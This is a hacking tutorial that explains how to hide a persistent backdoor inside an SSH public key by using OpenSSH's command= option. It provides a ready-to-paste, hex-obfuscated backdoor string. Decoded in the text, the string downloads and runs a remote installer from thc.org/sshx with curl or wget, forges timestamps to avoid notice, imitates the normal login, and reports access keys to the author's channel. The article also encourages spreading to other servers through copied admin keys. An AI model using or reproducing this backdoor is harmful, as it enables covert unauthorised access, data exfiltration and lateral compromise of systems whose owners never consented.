In this article, you will learn how to add a backdoor to the SSH Public Key. The backdoor will execute whenever the user logs in. The backdoor hides as an unreadable long hex-string inside ~/.ssh/authorized_keys
or ~/.ssh/id_*.pub.
The source is available from GitHub.
TL;DR
Simply prepend any SSH Public Key with the following backdoor-string - up until, but not including, the ssh-ed25519 AAAAC3Nzblah...
):
no-user-rc,no-X11-forwarding,command="`###---POWERSHELL---`;eval $(echo 5b5b20242873746174202d632559202f62696e2f73682920213d20242873746174202d632559202e73736829205d5d202626207b203a3b746f756368202d72202f62696e2f7368202e7373683b6578706f7274204b45593d22223b62617368202d63202224286375726c202d6673534c207468632e6f72672f737368782922207c7c2062617368202d632022242877676574202d2d6e6f2d766572626f7365202d4f2d207468632e6f72672f737368782922207c7c206578697420303b7d203e2f6465762f6e756c6c20323e2f6465762f6e756c6c2026203a3b5b5b202d6e20245353485f4f524947494e414c5f434f4d4d414e44205d5d202626206578656320245353485f4f524947494e414c5f434f4d4d414e443b5b5b202d7a20245348454c4c205d5d202626205348454c4c3d2f62696e2f626173683b5b5b202d66202f72756e2f6d6f74642e64796e616d6963205d5d20262620636174202f72756e2f6d6f74642e64796e616d69633b5b5b202d66202f6574632f6d6f7464205d5d20262620636174202f6574632f6d6f74643b65786563202d61202d2428626173656e616d6520245348454c4c2920245348454c4c3b0a|xxd -r -ps);" ssh-ed25519 AAAAC3Nzblah....
Root is not needed.
What's the purpose
For the lulz.
Re-starts your backdoor after the server reboots (similar to infecting
crontab
or~/.bashrc
).Spread laterally: Admins are known to copy their SSH Public Keys to new servers. Own them.
Cloud deployments often copy the Admin's Public Key to new instances - and now they copy your backdoor inside as well.
The nitty-gritty
OpenSSH has an unsung feature to execute a command (instead of a Shell) when a user successfully logs in. This feature (for example) is used by AWS to tell the customer not to log in as root:
no-port-forwarding,no-agent-forwarding,command="echo 'Please login as the user \"ubuntu\" rather than the user \"root\".';echo;sleep 10;exit 142" ssh-ed25519 AAAA...
The trick is to use OpenSSH's command=
feature and silently start our backdoor and afterwards execute the user's shell (with PTY) without the user noticing it.
The Details
Let's dissect the backdoor-string: The no-user-rc,no-X11-forwarding
is a ruse to throw off any prying eyes. It can be omitted.
The command=
string is where the real magic happens. Here is a shorter version of a simplified backdoor-string:
command="`###---POWERSHELL---`;eval $(echo 6563686f2048656c6c6f204261636b646f6f72|xxd -r -ps)"
OpenSSH executes the entire string between the two quotes "
..."
.
The `###---POWERSHELL---`;
is a ruse as well. It does nothing.
The next command, eval
, executes the commands that are hidden inside the encoded hex string.
Let's decode the hex string to reveal the actual commands that are being executed:
$ echo 6563686f2048656c6c6f204261636b646f6f72 | xxd -r -ps
echo Hello Backdoor
This simplified backdoor only prints "Hello Backdoor" on log-in and then terminates the SSH connection.
Our backdoor-string is more complex and decoded here:
[[ $(stat -c%Y /bin/sh) != $(stat -c%Y .ssh) ]] && {
touch -r /bin/sh .ssh
export KEY=""
bash -c "$(curl -fsSL thc.org/sshx)" || bash -c "$(wget --no-verbose -O- thc.org/sshx)" || exit 0
} >/dev/null 2>/dev/null &
[[ -n $SSH_ORIGINAL_COMMAND ]] && exec $SSH_ORIGINAL_COMMAND
[[ -z $SHELL ]] && SHELL=/bin/bash
[[ -f /run/motd.dynamic ]] && cat /run/motd.dynamic
[[ -f /etc/motd ]] && cat /etc/motd
exec -a -$(basename $SHELL) $SHELL
Firstly it uses a canary to make sure that the backdoor is only started once and not on every login: If ~/.ssh
and /bin/sh
have the same date then assume that the backdoor is already installed. Otherwise set them to the same date and execute the backdoor thereafter.
The backdoor in this case is a backdoor-installer script pulled from thc.org/sshx and executed in memory. It starts as a background process to not slow down the user's log-in. The installer-script installs gsocket and if successful reports the access key and system metrics to our discord channel.
Thereafter the backdoor-string checks if the user wanted to execute a command rather than a shell.
The last four lines are when the user logs in to a shell - the normal case:
Set the SHELL variable if not set already.
Simulate Linux's motd.
Execute the user's shell.
Keep Hacking,